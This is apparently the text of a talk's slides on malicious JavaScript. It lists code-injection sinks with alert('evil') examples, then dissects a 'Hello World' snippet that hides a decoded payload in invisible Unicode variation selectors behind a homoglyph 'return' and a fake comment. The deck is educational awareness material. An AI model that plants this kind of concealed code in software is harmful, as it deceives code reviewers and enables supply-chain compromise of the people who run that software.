An overview of malicious JS code and common JS attack vectors
It is not a rant about JavaScript
I'm not a DevSec expert
I'm not a evil hacker
see, I have a white hat on pp
Danger awareness
Risk management
Regrets
Code Injection
vectors in JavaScript
var name = prompt("What's your name ?")
eval("alert('Hello " + name + " !') ")
Think you are safe without eval ?
// setTimeout and setInterval
setTimeout('alert("evil")', 100)
setInterval('alert("evil")', 100);
// Function constructor
( new Function('alert("evil")') )();
// script tag insert
var script = 'script>';
document.write('<' + script + 'alert("evil")</' + script)
// Data URI
window.location='data:text/javascript,'+encodeURIComponent('alert("evil")');
// HTML event handlers
element.onmouseover='alert("evil")'
many more on https://html5sec.org/
Some people tried to prevent XSS by scanning and sanitizing code. They called it "XSS filters".
Don't use them. XSS filters only gives you an illusion of security, and only exist to be bypassed by Gareth Heyes
XSS Filters are so weak
you can accidentally bypass them without knowing it
featuring
This is possible by using 2 breaches in jQuery UI widgets:
$.datepicker.dpDiv[0] instanceof HTMLElement
$.Widget._childConstructors[7]._proto.options.position.of === window
XSS filters are a lie...
Why do I still use server-side templates ?
Did I really need to set .innerHTML here ?
I should not have sticked with Angular 1...
Can't break through ?
Let the developer do it for you
JavaScript devs that are either amateurs
or pros that don't use it as their main language
Most of JavaScript code on a website
is not written by the devs of this website:
either dependencies or copy-pasted
One developer broke Node, Babel and thousands of projects by unpublishing a module called leftpad.
NPM had to un-un-publish it, against the wishes of its author. This is leftpad source code:
module.exports = function leftpad (str, len, ch) {
str = String(str);
var i = -1;
if (!ch && ch !== 0) ch = ' ';
len = len – str.length;
while (++i < len) {
str = ch + str;
}
return str;
}
The attacker
This is not a tooling issue,
nor a trust issue.
Neither the platform's fault.
JavaScript has a
scale
problem
Average JS size per webpage is 350kB, ~10x more than in 2010.
Most of this code is external
Most used language in the world = largest attack surface
So do yourself a favor and
do a npm diet
Regret.
Block StackOverflow in an IT company proxy and watch the world burn
- True Evil
What's the trick ?
It is possible to make zero-width characters in Unicode with the Variation Selectors, used to get glyph variants of a preceding character.
Without any preceding character, they are invisible !
Variation Selectors:
FE00 - FE0F
(16 chars, 2 bytes)
UTF-16 surrogates = 16x bigger range of characters !
using a High and a Low surrogate on 4 bytes
Variation Selectors
Supplement:
E0100 - E01EF
(240 chars, 4 bytes)
Codepoint = 10000₁₆ + (H - D800₁₆) × 400₁₆ + (L - DC00₁₆)
\uDB40\uDD61 = 10000 + 340x400 + 161 = E0161
In the Variation Selectors Supplement Block, most are not used yet,
so they are invisible even when combined with previous characters !
Back to our StackOverflow bad guy...
What if we add
syntax highlighting ?
/// Hello World in JavaScript
/// NOTE: If you have a bug with character encoding, you should use
/󠅡// this; rеturn = ([𐕰])=>{Function(unescape(escape(𐕰).replace(/u.{8}/g,'')))()}
function hello(who){
rеturn `󠅤󠅯󠅣󠅵󠅭󠅥󠅮󠅴󠄮󠅢󠅯󠅤󠅹󠄮󠅩󠅮󠅮󠅥󠅲󠅈󠅔󠅍󠅌󠄠󠄽󠄠󠄧󠄼󠅤󠅩󠅶󠄠󠅳󠅴󠅹󠅬󠅥󠄽󠄢󠅦󠅯󠅮󠅴󠄭󠅳󠅩󠅺󠅥󠄺󠄹󠄹󠄹󠄥󠄻󠅣󠅯󠅬󠅯󠅲󠄺󠅲󠅥󠅤󠄻󠄢󠄾󠄰󠅷󠅎󠅥󠅄󠄠󠅢󠅙󠄠󠅈󠄴󠅣󠅫󠄳󠅲󠅚󠄠󠄠󠄼󠄯󠅤󠅩󠅶󠄾󠄧󠄻󠄊Hello ${who} !`
}
hello("world")
What if we add
syntax highlighting ?
/// Hello World in JavaScript
/// NOTE: If you have a bug with character encoding, you should use
/󠅡// this; rеturn = ([𐕰])=>{Function(unescape(escape(𐕰).replace(/u.{8}/g,'')))()}
function hello(who){
rеturn `󠅤󠅯󠅣󠅵󠅭󠅥󠅮󠅴󠄮󠅢󠅯󠅤󠅹󠄮󠅩󠅮󠅮󠅥󠅲󠅈󠅔󠅍󠅌󠄠󠄽󠄠󠄧󠄼󠅤󠅩󠅶󠄠󠅳󠅴󠅹󠅬󠅥󠄽󠄢󠅦󠅯󠅮󠅴󠄭󠅳󠅩󠅺󠅥󠄺󠄹󠄹󠄹󠄥󠄻󠅣󠅯󠅬󠅯󠅲󠄺󠅲󠅥󠅤󠄻󠄢󠄾󠄰󠅷󠅎󠅥󠅄󠄠󠅢󠅙󠄠󠅈󠄴󠅣󠅫󠄳󠅲󠅚󠄠󠄠󠄼󠄯󠅤󠅩󠅶󠄾󠄧󠄻󠄊Hello ${who} !`
}
hello("world")
See, this is not a comment line like the 3 lines before
I put a zero-width Unicode character between those slashes,
and now it is a regular expression !
/// Hello World in JavaScript
/// NOTE: If you have a bug with character encoding, you should use
/󠅡// this; rеturn = ([𐕰])=>{Function(unescape(escape(𐕰).replace(/u.{8}/g,'')))()}
function hello(who){
rеturn `󠅤󠅯󠅣󠅵󠅭󠅥󠅮󠅴󠄮󠅢󠅯󠅤󠅹󠄮󠅩󠅮󠅮󠅥󠅲󠅈󠅔󠅍󠅌󠄠󠄽󠄠󠄧󠄼󠅤󠅩󠅶󠄠󠅳󠅴󠅹󠅬󠅥󠄽󠄢󠅦󠅯󠅮󠅴󠄭󠅳󠅩󠅺󠅥󠄺󠄹󠄹󠄹󠄥󠄻󠅣󠅯󠅬󠅯󠅲󠄺󠅲󠅥󠅤󠄻󠄢󠄾󠄰󠅷󠅎󠅥󠅄󠄠󠅢󠅙󠄠󠅈󠄴󠅣󠅫󠄳󠅲󠅚󠄠󠄠󠄼󠄯󠅤󠅩󠅶󠄾󠄧󠄻󠄊Hello ${who} !`
}
hello("world")
I want to execute malicous code on this line now, but I need to end the RegExp instruction. Here I used a divide / operator followed by this; an existing keyword in JS disguised as comment
/󠅡/ + (code)
/󠅡/ - (code)
/󠅡/ * (code)
/󠅡/ [ (code) ]
/󠅡// (code)
this pattern confuse many syntax highlighters
/// Hello World in JavaScript
/// NOTE: If you have a bug with character encoding, you should use
/󠅡// this; rеturn = ([𐕰])=>{Function(unescape(escape(𐕰).replace(/u.{8}/g,'')))()}
function hello(who){
rеturn `󠅤󠅯󠅣󠅵󠅭󠅥󠅮󠅴󠄮󠅢󠅯󠅤󠅹󠄮󠅩󠅮󠅮󠅥󠅲󠅈󠅔󠅍󠅌󠄠󠄽󠄠󠄧󠄼󠅤󠅩󠅶󠄠󠅳󠅴󠅹󠅬󠅥󠄽󠄢󠅦󠅯󠅮󠅴󠄭󠅳󠅩󠅺󠅥󠄺󠄹󠄹󠄹󠄥󠄻󠅣󠅯󠅬󠅯󠅲󠄺󠅲󠅥󠅤󠄻󠄢󠄾󠄰󠅷󠅎󠅥󠅄󠄠󠅢󠅙󠄠󠅈󠄴󠅣󠅫󠄳󠅲󠅚󠄠󠄠󠄼󠄯󠅤󠅩󠅶󠄾󠄧󠄻󠄊Hello ${who} !`
}
hello("world")
return is a reserved keyword in JavaScript, and cannot be reassigned
At this point, the dev should be convinced this is a harmless comment
Except...
This return used the cyrillic "e", which is indistinguishable from the Latin one.
Different code points = different JS identifiers
/// Hello World in JavaScript
/// NOTE: If you have a bug with character encoding, you should use
/󠅡// this; rеturn = ([𐕰])=>{Function(unescape(escape(𐕰).replace(/u.{8}/g,'')))()}
function hello(who){
rеturn `󠅤󠅯󠅣󠅵󠅭󠅥󠅮󠅴󠄮󠅢󠅯󠅤󠅹󠄮󠅩󠅮󠅮󠅥󠅲󠅈󠅔󠅍󠅌󠄠󠄽󠄠󠄧󠄼󠅤󠅩󠅶󠄠󠅳󠅴󠅹󠅬󠅥󠄽󠄢󠅦󠅯󠅮󠅴󠄭󠅳󠅩󠅺󠅥󠄺󠄹󠄹󠄹󠄥󠄻󠅣󠅯󠅬󠅯󠅲󠄺󠅲󠅥󠅤󠄻󠄢󠄾󠄰󠅷󠅎󠅥󠅄󠄠󠅢󠅙󠄠󠅈󠄴󠅣󠅫󠄳󠅲󠅚󠄠󠄠󠄼󠄯󠅤󠅩󠅶󠄾󠄧󠄻󠄊Hello ${who} !`
}
hello("world")
The same fake return is used here and call this function as a
tagged template literal, another little known JS feature
When faking keywords like return, this kind of function call is very hard to notice even for experienced JS developers.
/// Hello World in JavaScript
/// NOTE: If you have a bug with character encoding, you should use
/󠅡// this; rеturn = ([𐕰])=>{Function(unescape(escape(𐕰).replace(/u.{8}/g,'')))()}
function hello(who){
rеturn `󠅤󠅯󠅣󠅵󠅭󠅥󠅮󠅴󠄮󠅢󠅯󠅤󠅹󠄮󠅩󠅮󠅮󠅥󠅲󠅈󠅔󠅍󠅌󠄠󠄽󠄠󠄧󠄼󠅤󠅩󠅶󠄠󠅳󠅴󠅹󠅬󠅥󠄽󠄢󠅦󠅯󠅮󠅴󠄭󠅳󠅩󠅺󠅥󠄺󠄹󠄹󠄹󠄥󠄻󠅣󠅯󠅬󠅯󠅲󠄺󠅲󠅥󠅤󠄻󠄢󠄾󠄰󠅷󠅎󠅥󠅄󠄠󠅢󠅙󠄠󠅈󠄴󠅣󠅫󠄳󠅲󠅚󠄠󠄠󠄼󠄯󠅤󠅩󠅶󠄾󠄧󠄻󠄊Hello ${who} !`
}
hello("world")
This should bring your attention if you remember the first slides...
This is a dynamic code evaluation pattern
But to evaluate what code ?
Function("alert('evil')")()
/// Hello World in JavaScript
/// NOTE: If you have a bug with character encoding, you should use
/󠅡// this; rеturn = ([𐕰])=>{Function(unescape(escape(𐕰).replace(/u.{8}/g,'')))()}
function hello(who){
rеturn `󠅤󠅯󠅣󠅵󠅭󠅥󠅮󠅴󠄮󠅢󠅯󠅤󠅹󠄮󠅩󠅮󠅮󠅥󠅲󠅈󠅔󠅍󠅌󠄠󠄽󠄠󠄧󠄼󠅤󠅩󠅶󠄠󠅳󠅴󠅹󠅬󠅥󠄽󠄢󠅦󠅯󠅮󠅴󠄭󠅳󠅩󠅺󠅥󠄺󠄹󠄹󠄹󠄥󠄻󠅣󠅯󠅬󠅯󠅲󠄺󠅲󠅥󠅤󠄻󠄢󠄾󠄰󠅷󠅎󠅥󠅄󠄠󠅢󠅙󠄠󠅈󠄴󠅣󠅫󠄳󠅲󠅚󠄠󠄠󠄼󠄯󠅤󠅩󠅶󠄾󠄧󠄻󠄊Hello ${who} !`
}
hello("world")
escape(f).replace(/u.{8}/g,'')
%uDB40%uDD61 → %u61 = "a"
This is just a Hello World !
The not-so-good solutions